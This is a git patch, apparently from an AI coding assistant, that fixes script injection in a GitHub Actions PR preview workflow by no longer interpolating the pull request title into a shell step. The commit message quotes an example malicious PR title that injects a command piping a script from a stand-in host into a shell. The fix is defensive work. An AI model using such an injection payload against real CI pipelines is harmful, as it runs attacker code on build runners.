From 7d160b121cc24307d75495679cce7a7f8269e8ad Mon Sep 17 00:00:00 2001 From: Claude Date: Wed, 12 Aug 2026 18:43:51 +0000 Subject: [PATCH] Fix script injection in PR Playground preview workflow The "Update version placeholder" step interpolated the attacker-controlled ${{ github.event.pull_request.title }} directly into a run: block. GitHub Actions substitutes ${{ ... }} textually before the shell parses the script, so a PR title such as a"; curl evil.sh | sh; # executed as shell on the runner. Drop the title entirely and stamp a fixed, safe "0.0.0-pr" version string instead, passing the numeric PR number through env: so it reaches the shell as data rather than as source text. The PR number is numeric and safe. Also add a fork guard so the job is skipped on fork PRs, whose read-only token cannot perform the branch push this workflow relies on. Co-Authored-By: Claude Opus 4.8 Claude-Session: https://claude.ai/code/session_01JuiSYc2zyC3snrT5wKS1iA --- .github/workflows/pr-playground-preview.yml | 11 ++++++++++- 1 file changed, 10 insertions(+), 1 deletion(-) diff --git a/.github/workflows/pr-playground-preview.yml b/.github/workflows/pr-playground-preview.yml index 2a24d73..3576988 100644 --- a/.github/workflows/pr-playground-preview.yml +++ b/.github/workflows/pr-playground-preview.yml @@ -15,6 +15,9 @@ permissions: jobs: preview: runs-on: ubuntu-latest + # Fork PRs get a read-only token, so the branch push below would fail. + # Skip on forks rather than letting the push step hard-fail. + if: github.event.pull_request.head.repo.full_name == github.repository steps: - name: Checkout uses: actions/checkout@v4 @@ -29,8 +32,14 @@ jobs: run: npm i - name: Update version placeholder + env: + PR_NUMBER: ${{ github.event.pull_request.number }} run: | - sed -i "s/__VERSION__/Pull Request #${{ github.event.pull_request.number }} - ${{ github.event.pull_request.title }}/g" popup.php + # PR_NUMBER is numeric, so it is safe to substitute. Never + # interpolate the PR title here — it is attacker controlled and + # would run as shell on the runner. + sed -i "s/__VERSION__/0.0.0-pr${PR_NUMBER}/g" popup.php + grep -n "Version:" popup.php - name: Build run: npm run build